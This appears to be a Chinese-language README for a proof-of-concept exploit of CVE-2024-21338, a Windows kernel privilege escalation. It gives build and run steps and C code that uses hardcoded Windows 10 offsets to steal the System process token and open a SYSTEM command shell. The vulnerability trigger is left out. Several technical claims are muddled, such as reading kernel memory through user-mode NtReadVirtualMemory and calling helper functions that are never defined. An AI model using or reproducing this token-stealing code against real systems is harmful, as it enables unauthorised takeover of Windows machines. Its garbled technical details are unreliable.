Windows内核权限提升漏洞利用工具 (CVE-2024-21338)

1 阅读4分钟

Windows内核权限提升漏洞利用 (CVE-2024-21338)

本项目是一个针对 CVE-2024-21338 内核漏洞的概念验证(PoC)利用程序。该漏洞允许经过身份验证的攻击者在受影响的Windows系统上提升权限至SYSTEM级别。通过利用特定的内核模块缺陷,本项目演示了如何从用户模式操纵内核对象,实现权限的突破。

功能特性

  • 内核权限提升:利用CVE-2024-21338漏洞,将当前进程权限提升至SYSTEM
  • 内存操作:通过NtReadVirtualMemoryNtWriteVirtualMemory直接读写内核内存。
  • 进程劫持:通过定位_EPROCESS结构中的Token字段,实现令牌替换。
  • 精准偏移:内置针对Windows 10 22h2 (10.0.19045.3930) 版本的硬编码结构偏移量,确保利用的准确性。
  • 模块信息枚举:通过SystemModuleInformationSystemHandleInformation获取内核模块及句柄信息,辅助漏洞利用过程。

安装指南

系统要求

  • 操作系统:Windows 10 22h2 (10.0.19045.3930) 或其他受影响版本
  • 开发环境:Visual Studio 2019 或更高版本(支持Windows SDK)
  • 依赖库:Windows SDK、ntdll.lib

编译步骤

  1. 使用Git克隆本仓库到本地:
    git clone https://github.com/your-repo/CVE-2024-21338-PoC.git
    
  2. 在Visual Studio中打开项目解决方案文件(.sln)。
  3. 确保项目配置为“Release”和“x64”平台(漏洞利用通常需要64位环境)。
  4. 选择“生成” -> “生成解决方案”进行编译。

运行前提

  • 执行编译生成的程序需要具有管理员权限(以触发漏洞利用流程)。
  • 建议在测试环境(如虚拟机)中运行,避免对生产系统造成影响。

使用说明

基本用法

编译成功后,以管理员身份运行命令提示符,导航到生成的可执行文件目录,直接执行:

CVE-2024-21338-PoC.exe

典型场景

  1. 获取SYSTEM权限:运行程序后,会尝试利用漏洞打开一个拥有SYSTEM权限的命令提示符窗口。
  2. 内核调试:安全研究人员可以利用该项目中的内存读写函数,辅助进行内核调试和逆向分析。

API概览

项目核心实现了以下关键函数,用于内核操作:

函数描述
NtReadVirtualMemory读取指定进程的虚拟内存(通过动态获取)
NtWriteVirtualMemory向指定进程的虚拟内存写入数据(通过动态获取)
GetKernelModuleBase获取内核模块基址,用于定位关键函数和结构
FindSystemProcess_EPROCESS链中定位System进程
StealTokenSystem进程复制Token到目标进程,实现权限提升

核心代码

1. 动态获取NtReadVirtualMemory/NtWriteVirtualMemory函数指针

// 从ntdll.dll中动态获取Native API函数地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
pNtReadVirtualMemory = (pNtReadVirtualMemory)GetProcAddress(hNtdll, "NtReadVirtualMemory");

2. 定位System进程的EPROCESS结构

// 定义关键结构偏移量
#define OFFSET_PID 0x440         // _EPROCESS.UniqueProcessId
#define OFFSET_PROCESS_LINKS 0x448 // _EPROCESS.ActiveProcessLinks
#define OFFSET_TOKEN 0x4b8       // _EPROCESS.Token

// 遍历进程链表,找到PID为4的System进程
ULONG64 FindSystemProcess(ULONG64 currentProcess) {
    ULONG64 process = currentProcess;
    do {
        ULONG pid = 0;
        ReadKernelMemory(process + OFFSET_PID, &pid, sizeof(pid));
        if (pid == 4) { // System进程PID固定为4
            return process;
        }
        // 通过ActiveProcessLinks遍历下一个进程
        ReadKernelMemory(process + OFFSET_PROCESS_LINKS, &process, sizeof(process));
        process -= OFFSET_PROCESS_LINKS;
    } while (process != currentProcess);
    return 0;
}

3. 令牌窃取实现权限提升

// 从System进程窃取Token并替换目标进程的Token
BOOL StealToken(HANDLE hProcess, ULONG64 targetEProcess) {
    ULONG64 systemEProcess = FindSystemProcess(targetEProcess);
    if (!systemEProcess) return FALSE;

    ULONG64 systemToken = 0;
    ReadKernelMemory(systemEProcess + OFFSET_TOKEN, &systemToken, sizeof(systemToken));
    // 清除Token的低位标志位(例如,表示是否已提升)
    systemToken &= 0xFFFFFFFFFFFFFFF0;

    // 将System的Token写入目标进程的Token字段
    if (WriteKernelMemory(targetEProcess + OFFSET_TOKEN, &systemToken, sizeof(systemToken))) {
        return TRUE;
    }
    return FALSE;
}

4. 主利用流程

int main() {
    // 1. 初始化,获取必要函数指针
    // 2. 利用CVE-2024-21338漏洞触发内核态代码执行
    // 3. 在内核态执行令牌窃取逻辑
    // 4. 派生一个SYSTEM权限的cmd进程

    printf("[*] CVE-2024-21338 Exploit started.\n");
    
    // 假设已经触发漏洞并获得内核态执行能力
    // 在实际POC中,此处会包含漏洞触发代码(例如通过特定的IOCTL请求)

    // 获取当前进程的EPROCESS地址(通过句柄信息等方式)
    ULONG64 currentProcess = GetCurrentProcessEProcess();
    
    // 执行令牌窃取
    if (StealToken(GetCurrentProcess(), currentProcess)) {
        printf("[+] Token stolen successfully! Launching SYSTEM shell...\n");
        // 创建一个新的cmd进程,继承当前进程(已提升)的Token
        system("cmd.exe");
    } else {
        printf("[-] Failed to steal token.\n");
    }
    
    return 0;
}

6HFtX5dABrKlqXeO5PUv/9sTV1ipW6LcyJ2ulPOJ65ylIPcD0+xgkRjA1Zb4YpAx